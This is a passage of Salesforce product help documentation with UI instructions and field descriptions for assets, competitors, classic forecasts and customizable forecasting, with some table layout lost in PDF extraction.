Administrators and users with the Create permission on assets can create new assets. 1. Click New on the Assets related list of an account, contact, or product. This action automatically inserts the account name, contact name or product name, depending on the record you selected when you clicked New. 2. To associate the asset with a product, enter the exact product name. If the product name is unique, Salesforce automatically inserts this name in the Asset Name field. If you do not know the name of the product: a. Click the Product lookup icon if the asset is based on a product. b. Enter a search filter to find a current product, and click Go!. See Entering Filter Criteria for information on filtering information. c. Select the appropriate product. Salesforce automatically inserts the selected product name in the Asset Name field. 3. Enter a name for the asset. 4. Choose the account or contact for the customer who has purchased the asset. If necessary, you can choose both an account and a contact that are not related. The asset will display on the contact selected on the asset as well as the account selected on the asset, however, it will not display on the account of the contact. If you only choose a contact, the asset will display on both the contact and the contact's account. 5. To create an asset for a competitors product, check Competitor Asset. 6. Click Save. You can enter person accounts in either the Account or Contact fields of an asset. The Assets related list on a person account includes all assets related to the person account, including those where the person account is in the Contact field. See What is a Person Account? on page 61.

See Also:
Asset Fields Cloning Assets

Viewing Asset Updates (Chatter)

2226

Assets

Viewing Asset Updates (Chatter)

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the asset. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the update, click All Updates.

Following Assets
When you follow an asset, your Chatter feed includes field changes and asset feed updates. To follow an asset, click Follow. To stop following, click Following . The Followers list shows you who is following the asset. To view a full list, click Show All. You automatically follow records you own. To disable this feature, go to Your Name > Setup > My Chatter Settings > My Feeds, select Stop automatically following records, and then click Save.

See Also:
Chatter Overview Chatter Feeds Overview

Cloning Assets
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assets: To create and clone assets: Read on assets Create on assets

Use the Clone button on an asset to quickly create a new asset with the same information as the selected asset. To clone an asset for your organization: 1. Click Clone on an existing asset. 2. Enter or change any information for the new asset. 3. Click Save.

2227

Assets

Asset Fields

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Asset Fields

Asset Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

An asset has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Field
Asset Division

Description Division to which the asset belongs. This value is automatically inherited from the related account if any. Otherwise the value is inherited from the related contact. Available only in organizations that use divisions to segment their data. Identifying name for the asset. If you select a product from the product lookup, this name is automatically populated with the product name. Account associated with the asset. Each asset must be associated with an account or contact. Contact associated with the asset. Each asset must be associated with an account or contact. If you choose both an account and contact, they do not need to be related to each other. Contacts that are not associated with an account cannot be linked to assets. Checkbox to indicate if the asset represents a competitors product. Use assets to track what customers have your competitors products using this checkbox. Text that distinguishes this asset from others. Date the customer installed the asset. Amount the customer paid for the asset. The product on which the asset is based. Date the customer bought the asset. The number of assets purchased.

Asset Name

Account

Contact

Competitor Asset

Description Install Date Price Product Purchase Date Quantity

2228

Assets

Deleting Assets

Field
Serial Number Status Usage End Date

Description The model number on the asset. State of the asset. The date the asset expires or the last date it is under warranty. Use this field to store whatever date is appropriate for your business.

See Also:
Displaying and Editing Assets Creating Assets Cloning Assets

Deleting Assets
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assets: To delete assets: To recover deleted assets: Read on assets Delete on assets Delete on assets

Since assets are related to account and contact records, you can delete them from those records or individually using the Products tab. Before you delete an asset, review the following scenarios: Is the asset associated with a case? Assets associated with cases cannot be deleted. This includes deleting an account or contact record that is associated with an asset listed on a case. Is the asset associated with a product? When an asset is based on a product, deleting the product does not delete the asset. Is the asset associated with an account or contact? If you delete an account or contact, all associated assets are also deleted and moved to the Recycle Bin. Note that if you delete an account with a related contact that is associated with an asset, all three records are deleted. To restore all three records, restore the account record. Note: You can delete an asset individually without deleting any related record. However, if you later delete the related record, you cannot recover the asset from the Recycle Bin.

2229

Competitors

Searching for Assets

To delete an asset: 1. Locate the asset on the Assets related list of an account or contact, or on an asset list view from the Products tab. 2. Click Del next to the asset you want to delete. 3. Click OK.

See Also:
Recycle Bin Deleting Mass Data

Searching for Assets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assets: Read on assets

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. 3. From the search results, click an item to open it or click Edit, if available. You can also create an asset list view from the Products tab to find assets that match specific criteria.

See Also:
Search Overview

COMPETITORS
Competitors Overview

2230

Competitors

Competitors Overview

Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

You can track competitors in a pending sale by listing the competitors names in the opportunity. You can enter the names of new competitors, or choose from a list of competitors defined by your administrator via Your Name > Setup > Customize > Opportunities > Competitors. To access this information, go to the Competitors related list of the opportunity.

See Also:
Defining Competitors Viewing and Editing Competitors Competitor Fields Deleting Competitors

Defining Competitors
Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To define competitors: Customize Application

Create a picklist of competitors that your users can attach to opportunities. To add competitors to the picklist: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Opportunities > Competitors. Click New to add competitor names to the list. Enter the name of the competitor. Optionally, check the default option to select this value on any new record when another value is not selected. Click Save.

Use the following options to modify existing competitors: Click Reorder to sort the values in your list. Click Edit next to a competitor to change it.

2231

Competitors

Viewing and Editing Competitors

Click Del next to a competitor to delete it.

See Also:
Competitors Overview Defining Competitors Competitor Fields Deleting Competitors

Viewing and Editing Competitors


Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view competitors: To edit competitors: Read on opportunities Edit on opportunities

The Competitors related list of an opportunity shows the competitors for that deal. To view information for a competitor, click the competitors name. Click Edit next to a competitors name to edit the strengths and weaknesses of the competitor for the opportunity. To add a competitor, click New. Enter the competitors name, or click the lookup icon to select from a list of competitors defined by your administrator via Your Name > Setup > Customize > Opportunities > Competitors. It does not need to be an existing account or contact. Then specify the strengths and weaknesses of the competitor, which may be different for each opportunity. Note: To add or create a competitor on an opportunity, you must also have access to edit that opportunity.

See Also:
Competitors Overview Defining Competitors Competitor Fields Deleting Competitors

Competitor Fields
2232

Competitors

Competitor Fields

Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

A competitor has the following fields, listed in alphabetical order. Field


Competitor Name

Description Name of competitor. You can enter any name, or select from the list of all competitors defined by your administrator via Your Name > Setup > Customize > Opportunities > Competitors. Description of competitors key selling points and advantages. Description of competitors key disadvantages.

Strengths Weaknesses

See Also:
Competitors Overview Viewing and Editing Competitors Defining Competitors Deleting Competitors

Deleting Competitors
Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To delete competitors: Edit on opportunities

You can delete a competitor from the opportunities page by clicking the Del link next to a competitors name in the Competitors related list.

2233

Forecasting

Forecasts Overview

Note: To delete a competitor from an opportunity, you must also have access to edit that opportunity.

See Also:
Competitors Overview Viewing and Editing Competitors Defining Competitors Competitor Fields

FORECASTING
Forecasts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. A forecast is your best estimate of how much revenue you can generate in a quarter. This amount is divided between Commit Amount - the amount you can confidently close - and Best Case Amount - the total amount of revenue you might possibly generate. A managers forecast should include the amount of revenue the entire team can generate together. The Forecasts tab displays a home page that lets you quickly create and locate forecasts and quotas. The Forecasts tab also displays your monthly revenue projections, the amount of open opportunities in your pipeline, and the amount of your closed/won opportunities. Managers forecasts also show a roll-up of forecast data for users that report to them.

See Also:
Forecasts Home Tip sheet: Forecasts: Assessing Your Position

Forecasts Home

2234

Forecasting

Forecasts Home

Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. Clicking on the Forecasts tab displays the forecasts home page. In the Forecast Views section, select a list view from the drop-down list to go directly to that list page, or click Create New View to define your own custom view. In the Forecast Summary section, the current quarters forecast numbers display by default. To see another quarters forecast, select it from the drop-down list. From the summary, click the View button or the Totals link to go to the forecast detail. Click Edit to edit the forecast. Under Quick Create, choose the forecast quarter to add a new forecast. Under Forecast Reports, click a report name to jump to that report. In the Quota Assignment section, click the link to create a new quota. Or, edit your forecast to change that quarters quota.

See Also:
Forecasts Overview Displaying and Editing Forecasts Creating Forecasts Deleting Forecasts Creating Custom List Views

Viewing Forecast Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. The forecasts list page displays a list of forecasts in your current view. From this page, you can view detailed forecast information and access related information on opportunities that contribute to forecast results. Click on a specific forecast to view the detail. Click Edit or Del next to the forecast entry to edit or delete it. See Displaying and Editing Forecasts on page 2236. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click New Forecast to create a forecast. See Adding and Editing Quotas on page 45.

2235

Forecasting

Displaying and Editing Forecasts

Click any column heading on the list page to sort the forecasts in ascending order using that columns information. Click the heading a second time to sort in descending order.

Displaying and Editing Forecasts


Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. See the following to display and edit forecasts: Displaying Forecasts Editing Forecasts Tagging Forecasts Setting Forecast Currency

See Also:
Forecast History Team Forecasts

Displaying Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. Once you have located a forecast on the forecasts home or list pages, click View or the forecast name to display detailed information. At the top of the page, the table shows the forecast fields, which can contain calculated values or information that you entered (see Forecast Fields on page 2240). Click Edit to edit the forecast (see Editing Forecasts on page 2237). For organizations that use multiple currencies, all forecast and opportunity amounts are converted and displayed in your personal currency. The actual amount fields in the opportunity are not affected. Click Change Currency to modify the default currency of the forecast (see Setting Forecast Currency on page 2238). The lower part of the forecast detail page shows forecast details in blue and related opportunities in yellow: For each of the months in the forecast, you can click on individual opportunities to display additional detail. Click New to add opportunities for that month in the forecast. In the Team Forecasts related list (see Team Forecasts on page 2239), managers see a roll-up of amounts for their team. In the Forecast History related list (see Forecast History on page 2238), you can see the history of the changes for the forecast.

2236

Forecasting

Displaying and Editing Forecasts

To return to the last list page you viewed, click Back to list at the top of the forecast detail page. See Navigating on page 14 for more information.

Editing Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. To change your forecast, choose Edit from the forecast home page or detail page. If you are creating a new forecast, see Creating Forecasts on page 2239. 1. For each opportunity, adjust the Forecast Category value, if necessary. The entire Amount of the opportunity is added to the category you choose. The Expected Revenue is not used in the calculation. Choose the Omitted category to remove the opportunity from the commit, best case, and pipeline totals.

2. To see the resulting changes to the forecast numbers, click Recalculate. The forecast fields are recalculated based on: The Amount fields of the opportunities in each Forecast Category, and Any Forecast Category changes you have made, and If you are a manager in the role hierarchy, any changes your team has made to their forecasts.

Note that the Pipeline number is not updated until you save the forecast. 3. If necessary, adjust your Quota, Commit Amount, and Best Case Amount. 4. To make the changes permanent, click Save. This saves the recalculated totals and any changes you have made to quotas, the Commit Amount and Best Case Amount columns, or to the Forecast Category for specific opportunities. Saving also updates the Pipeline number for the forecast. For organizations that use multiple currencies, all forecast and opportunity amounts are converted and displayed in your personal currency. The actual amount fields in the opportunity are not affected. Note: Any change you make to the Stage field while editing an opportunity resets the Forecast Category. Your administrator sets the correspondence between Forecast Category and Stage in the Stage picklist.

See Also:
Setting Forecast Currency Forecast History Team Forecasts Forecast Fields Creating Forecasts Deleting Forecasts

2237

Forecasting

Displaying and Editing Forecasts

Setting Forecast Currency


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. For organizations that use multiple currencies, all forecast amounts are shown in your personal currency, by default. If you have opportunities in different currencies, those amounts are converted to your personal currency for display; the actual amounts in the opportunity are not affected. Likewise for managers, their teams forecast amounts are converted to the managers personal currency. The manager can drill down into the users forecast and opportunities to see the amounts in the original currencies. To change the currency for your forecast: 1. View the forecast, and click Change Currency. 2. Choose a currency from the list, and click Save. All amounts are converted to the new currency. If you change the currency for the quota associated with the forecast, the currency of the forecast also changes. See Adding and Editing Quotas on page 45.

Forecast History
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. The Forecast History related list of a forecast detail page tracks the changes to the forecast. Any time you change the Quota (either from the forecast detail page or from the Personal Information pages), Commit Amount, or Best Case Amount numbers, a new entry is added to the Forecast History related list. All entries include the date, time, and the forecast totals at the time of the change. From the Reports tab, you can view the Forecast History report which shows the forecast history for your forecasts, subtotaled by opportunity.

See Also:
Adding and Editing Quotas Opportunity Reports

2238

Forecasting

Creating Forecasts

Team Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. On forecast pages, managers see their own opportunities, plus a roll-up of forecast data for users that report to them. Note: If your team members have not created forecasts for the quarter, no information is displayed for them.

On the forecast detail page, the Team Forecasts related list displays forecast data for each user that reports to you. These amounts are totaled to give you a complete roll-up for your team. Click a users name to view that users forecast detail, or click Edit to edit that users forecast. On the forecast edit page, each month has a Team Forecast related list so you can view a roll-up of opportunities and forecast amounts for each month. For organizations with multiple currencies, the team members forecasts are converted and displayed in the currency of the managers forecast. Click a users name to drill down and view amounts in their original currencies.

Creating Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. To create a new forecast: 1. Click New Forecast. 2. Choose the year and quarter for the forecast, and click Next. The year you select should be based on your organizations Fiscal Year Starts In settings. 3. Enter the Quota for each of the months in the forecast. 4. Verify, and adjust if necessary, the Forecast Category for the opportunities in the forecast. If you change any of the Forecast Category values, click Recalculate to update the forecast numbers. Note that the Pipeline number is not updated until you save the forecast. 5. If necessary, adjust the calculated values for the Commit Amount and Best Case Amount fields. Managers estimates should include the amount of revenue they and their entire team can generate. 6. Click Save.

2239

Forecasting

Forecast Fields

If Quick Create is enabled by your administrator, you can also add a new forecast on the forecasts home page, or just by creating a quota for the quarter in your personal information accessed via Your Name > Setup > My Personal Information > Personal Information. See Displaying Forecasts on page 2236 for an explanation of the forecast display.

See Also:
Editing Forecasts Forecast Fields Forecasts Home

Forecast Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. A forecast has the following fields, listed in alphabetical order. Field
% Quota

Description Percentage of quota that you are committing to. Calculated as Commit Amount divided by Quota. (Read only) Total sales amount you might possibly close. Includes closed/won opportunities plus opportunities with the Commit and Best Case categories. Automatically calculated total of closed/won opportunities. For managers, this number includes all closed/won opportunities for their entire team. (Read only) User who created the forecast including creation date and time. (Read only) Total sales amount you are confident of closing. Includes closed/won opportunities plus opportunities with the Forecast category. Category that determines the column in which an opportunity is totaled in the forecast. The default setting for an opportunity is tied to its Stage. User who last changed the forecast fields, including modification date and time. This does not track changes made to any of the opportunities on the forecast. (Read only)

Best Case Amount

Closed

Created By

Commit Amount

Forecast Category

Modified By

2240

Customizable Forecasts

Deleting Forecasts

Field
Month

Description Months included in the forecast. Opportunities with a close date in that month are included for that month (except those in the Omitted category). (Read only) Automatically calculated total of open opportunities. For managers, this number includes all open opportunities for their entire team. Closed/lost opportunities and those marked with the Omitted category are not tabulated in the pipeline. (Read only) Quota for a particular month or quarter. For managers, this number should equal the quota for them and their entire team.

Pipeline

Quota

See Also:
Displaying and Editing Forecasts Creating Forecasts

Deleting Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies only to Forecasts (Classic) and not to the Winter '12 Forecasts release or to Customizable Forecasting. Refer to What's the difference between the Forecasting features? on page 3187 for additional information. To delete a forecast, click Del next to the forecast in the forecasts list page, or click Delete on the forecast detail page. Deleted forecasts cannot be retrieved from your Recycle Bin. You can delete a forecast if you are an administrator, the forecast owner, or a user above the forecast owner in the organization role hierarchy.

CUSTOMIZABLE FORECASTS
Customizable Forecasting Overview

2241

Customizable Forecasts

Customizable Forecasting Overview

Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Customizable forecasting is a flexible solution for estimating how much revenue your organization can generate or how many items your organization can sell. You can set up customizable forecasting to reflect how your organization forecasts its sales. With it, you can forecast on a monthly or quarterly basis, use different dates when applying amounts to forecasts, forecast based on revenue or quantity or both, and define additional quotas based on product families. Use customizable forecasts to review your forecast and drill down through your forecast amounts to see the opportunities included in your forecast. Override forecast amounts directly from the opportunity, or override the forecast from the Forecasts tab without notifying users below you in the forecast role hierarchy. For information on implementing customizable forecasting for your organization, see Setting Up Customizable Forecasting.

See Also:
Tip sheet: Using Customizable Forecasts Administrator tip sheet: Setting Up Customizable Forecasting Managing Customizable Forecasts Viewing Customizable Forecasts Do I Have Customizable Forecasting?

Do I Have Customizable Forecasting?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Customizable forecasting may be difficult to distinguish because the tab name does not change when you convert to customizable forecasting. Here's how to tell if you have it: Click the Forecasts tab. If you see either the Introducing Customizable Forecasting or Request Now! buttons, you don't have customizable forecasting. If you don't see either button, your organization already has customizable forecasting.

To enable customizable forecasting: 1. Click the Forecasts tab. Depending on your organization, you may see different options for activating customizable forecasting. 2. Click either:

2242

Customizable Forecasts

Working with Forecast Categories

Request Now!, or Introducing Customizable Forecasting, then click Request Now!

3. Once customizable forecasting is enabled, see Setting Up Customizable Forecasting.

See Also:
Customizable Forecasting Overview Customizable Forecasting Home Managing Customizable Forecasts Submitting Customizable Forecasts Forecast Override Indicators Overriding Customizable Forecasts

Working with Forecast Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Your forecast is a representation of your opportunity amounts, dates, and stages. Click the Forecasts tab and notice that your forecast amounts are listed in different categories. Depending on its stage, an opportunity amount can be included in the following forecast categories: Best Case includes amounts you are likely to close, closed/won opportunity amounts, and amounts in the Commit category. Closed includes amounts for closed/won opportunities. Commit includes amounts you are confident about closing and closed/won opportunity amounts. Omitted means the amount does not contribute to your forecast. Pipeline includes amounts from all open opportunities. Note: You can edit the forecast category field on opportunities to change the value displayed in reports, opportunity detail and edit pages, opportunity searches, and opportunity list views. For example, you can change the value of the Commit category to Won to make the category name match your business processes. Each value in the opportunity Stage picklist is automatically mapped to a Probability and value in the Forecast Category picklist. Change the Stage of an opportunity and the Probability as well as the Forecast Category changes with it. For example, your organization may have mapped the Negotiation/Review stage to the Best Case forecast category. This means that the amounts of your opportunities in Negotiation/Review are included in your Best Case forecast amount. Your organization may have set up different mappings but an example of how these fields map is below: Stage Prospecting Probability 10% Forecast Category Pipeline

2243

Customizable Forecasts

Customizable Forecasting Home

Stage Qualification Needs Analysis Value Proposition Id Decision Makers Perception Analysis Proposal/Price Quote Negotiation/Review Closed Won

Probability 10% 20% 50% 60% 70% 75% 90% 100%

Forecast Category Pipeline Pipeline Pipeline Pipeline Pipeline Pipeline Best Case Commit

Regardless of whether you use customizable forecasting or not, your forecasts still rely on how your opportunity Stage picklist values map to values in the Forecast Category picklist.

See Also:
Tip sheet: Using Customizable Forecasts Administrator tip sheet: Setting Up Customizable Forecasting Managing Customizable Forecasts Viewing Customizable Forecasts

Customizable Forecasting Home


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To see forecasts of other users: To override your forecast: View All Forecasts Override Forecasts

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Clicking the Forecasts tab displays your forecast for the selected forecast period. Click Submit to submit a forecast, making a snapshot of the forecast data available in the forecast history and forecast reports. See Submitting Customizable Forecasts. Click Forecast History to display the forecast data you submitted in the past. Then, click Forecast Summary to return to the current forecast data. Click Printable View to display the selected forecast in a simple, print-ready layout.

2244

Customizable Forecasts

Managing Customizable Forecasts

Review your forecast and the forecasts of any direct reports or forecasts that are manually shared with you. See Viewing Customizable Forecasts for instructions on different viewing options. Click the Forecast subtab to see forecast details. See Viewing Customizable Forecasts for more information. Click the Opportunities subtab to see the opportunities that are included in the displayed forecast. On the Opportunities subtab, you can choose, or create, a list view to further filter the displayed opportunities. See Viewing Customizable Forecasts for more information. Click the edit icon ( ) to make changes to the adjusted forecast total, or to add an override to a particular forecast amount. For instructions on overriding forecast amounts, see Overriding Customizable Forecasts.

If your forecast is not available, contact your administrator about adding you to the forecast hierarchy (or the territory hierarchy, if your organization uses territory management). Note: The Forecasts tab is unlike other tabs in that it automatically calculates data for you based on your opportunity data. You do not need to create or delete forecast records.

See Also:
Tip sheet: Using Customizable Forecasts Administrator tip sheet: Setting Up Customizable Forecasting Do I Have Customizable Forecasting? Managing Customizable Forecasts Viewing Customizable Forecasts

Managing Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To see forecasts of other users: To override your forecast: View All Forecasts Override Forecasts

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Your forecasts represent your opportunity amounts, dates, and stages. To make sure your forecasts are an accurate representation of your revenue potential: 1. Review your forecast amounts. See Viewing Customizable Forecasts for instructions on different viewing options. 2. Determine if you want to override any amounts. 3. Override amounts if necessary. This requires the appropriate user permission. See Overriding Customizable Forecasts on page 2248.

2245

Customizable Forecasts

Viewing Customizable Forecasts

4. Submit your forecast to make a snapshot of your forecast data available in your forecast history and forecast reports. See Submitting Customizable Forecasts.

See Also:
Customizable Forecasting Overview Working with Forecast Categories Customizable Forecasting Home Tip sheet: Using Customizable Forecasts Administrator tip sheet: Setting Up Customizable Forecasting Do I Have Customizable Forecasting? Viewing Customizable Forecasts Submitting Customizable Forecasts

Viewing Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To see forecasts of other users: To override your forecast: View All Forecasts Override Forecasts

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? When you click the Forecasts tab, review the amounts listed and determine if they are ready to be submitted. Initially, your name appears in the title bar and above Find a Forecast:, indicating that you are viewing your own forecast. Users with the appropriate permissions can click the magnifying glass icon and select another user or role to view that persons forecast. When you are viewing a forecast other than your own, the role or username will be displayed in the title bar and above Find a Forecast:. In addition, your access level will be displayed above Find a Forecast:. If you organization uses manual forecast sharing, click Sharing to view the forecast sharing settings or to share the forecast with other users. If your organization uses territories, choose an option from the Territory picklist to summarize the forecast by that territory. See Territory Management Overview. If your organization uses product families, choose an option from the Product Family picklist to summarize the forecast by that product family. Choosing --All-- product families disables the Submit, and Forecast History options; choose another product family to use these options. See Defining Customizable Forecast Settings for information on customizing your organization to use product families. If your organization forecasts on both revenue and quantity, select whether to include revenue, quantity, or revenue and quantity. This controls which information is displayed for each amount listed.

2246

Customizable Forecasts

Viewing Customizable Forecasts

Select a date range under Range Start to view another forecast period. Forecast details for opportunities that closed more than two years before you implemented customizable forecasting or more than 10 years in the future are not available. For information on opportunities outside of this time range, see Opportunity Reports. Note: Organizations that implemented customizable forecasting prior to the Salesforce Winter '07 release can see forecasts outside of this range.

Select a Range Length to view fewer or more forecast periods. Note: If you are using custom fiscal years, periods before the first defined custom fiscal year or after the last defined fiscal year use calendar months or calendar quarters (depending on your forecast setting) for the range start and period length.

Select an option next to Display Units to view forecast totals using a different unit of measurement. To display what portion each total is of your quota, choose % Quota.

Viewing Forecast History


When viewing a forecast from the Forecasts tab, click Forecast History to view snapshots of your forecast data taken when you submit it. You can also view the submitted forecasts of subordinates users. Click Forecast Summary to return to the previous view.

Viewing Forecast Amount Details


Select the Forecasts subtab to see forecast details. Click any forecast amount to view details of the opportunity amounts included in that forecast amount. From the details page, click any item listed to view it. Click Edit to override that item. See Overriding Customizable Forecasts for instructions on overriding forecast amounts from the opportunity. If you have direct reports (users that report directly to you), their forecasts display below yours. The Choose a view option allows you to change the way forecast information is displayed for your direct reports. Use this option to group forecast data by subordinate or forecast period. View by Period displays a list of direct reports and their forecasts for each forecast period. Click any name to view the forecast for that user. View by Direct Report displays a list of forecast totals for each direct report. Click View next to any subordinate name to view the forecast for that user. Clicking any amount displays the opportunities and forecast overrides included in that amount.

Viewing Opportunities
Select the Opportunities subtab to see the opportunities that are included in the displayed forecast. On the Opportunities subtab, you can choose, or create, a list view to further filter the displayed opportunities. Click any opportunity to see the opportunity details. To override the opportunity, click Edit. For more information on overriding opportunities, see Overriding Customizable Forecasts.

2247

Customizable Forecasts

Overriding Customizable Forecasts

Note: When a partner portal is transferred to another account, the opportunities on each account are automatically recalculated through your organization's forecast hierarchy.

See Also:
Customizable Forecasting Overview Working with Forecast Categories Customizable Forecasting Home Managing Customizable Forecasts Submitting Customizable Forecasts

Overriding Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To see forecasts of other users: To override your forecast: View All Forecasts Override Forecasts

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? You can make your forecast a more accurate assessment of your forecasted sales by overriding forecast amounts as needed. Any user can override a forecast from the opportunity by changing the Stage or Forecast Category of the opportunity. Users with the Override Forecasts permission can override their forecast or any direct reports forecast at the forecast level.

Overriding Your Forecast from the Opportunity


1. 2. 3. 4. Click the Opportunities subtab on the Forecasts page. Click Edit for the opportunity you want to override. Make any changes to the details. The options available differ depending on whether you own the opportunity. If products are on the opportunity and you want to change the forecast category for that product, select Change Category, then select the appropriate Product Forecast Category. 5. Click Save. The opportunity is marked with the appropriate icon indicating its override status. For a description of each override icon, see Forecast Override Indicators. Click Save & Refresh to update the record and redisplay the totals.

Overriding Your Forecast Total


1. Click the Forecasts subtab on the Forecasts page. 2. Click the edit icon ( ) to override the adjusted total. 3. Enter a new amount and any comment.

2248

Customizable Forecasts

Overriding Customizable Forecasts

4. Click Save. The forecast is marked with the appropriate icon indicating its override status. For a description of each override icon, see Forecast Override Indicators.

Overriding the Forecast of Your Direct Reports


1. Click the Forecasts subtab on the Forecasts page. 2. Click the edit icon ( ) to override your direct report's forecast. 3. Choose one of the override options to control which override amounts, if any, are included in the forecast: Accept John Does forecastUse this option to accept the forecast of your direct report, including any overrides that he or she has made. Reject any override on John Does forecast, but accept forecast overrides from other subordinatesUse this option to ignore overrides made on your direct report's forecast, but include any overrides made on forecasts further down in the hierarchy. Reject all forecast overridesUse this option to ignore all forecast-level overrides but include opportunity-level overrides. If you have overridden amounts at the opportunity, your own opportunity forecasts are used in this calculation. Choose this option if you want forecast amounts to be based on opportunity amounts including overrides made at the opportunity level. Override the forecast and set it toUse this option to enter an amount that replaces the current amount in your forecast. Your manager will see this amount in your forecast but your subordinates will not.

4. If you forecast on both revenue and quantity, choose an override option for quantity forecast. 5. Click Save. The forecast is marked with the appropriate icon indicating its override status. For a description of each override icon, see Forecast Override Indicators. Note: The Forecasts tab is unlike other tabs in that it automatically calculates data for you based on your opportunity data. You do not need to create or delete forecast records.

See Also:
Tip sheet: Using Customizable Forecasts Administrator tip sheet: Setting Up Customizable Forecasting Do I Have Customizable Forecasting? Forecast Override Indicators

Forecast Override Indicators


Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? An icon displays for each override to indicate the status of the override. Use the following table to determine the status of an override. Icon Override Status The opportunity has been updated since an override. A subordinate has overridden the forecast.

2249

Customizable Forecasts

Customizable Forecast Fields

Icon

Override Status A person that reports directly to you has overridden the forecast. You have overridden the forecast. The forecast data is not up-to-date. Refresh your browser in a few minutes.

See Also:
Tip sheet: Using Customizable Forecasts Administrator tip sheet: Setting Up Customizable Forecasting Do I Have Customizable Forecasting? Overriding Customizable Forecasts

Customizable Forecast Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? Here is a description of the fields (in alphabetical order) that make up a forecast in customizable forecasting:

Forecast Fields
Field
Comments Forecast Category

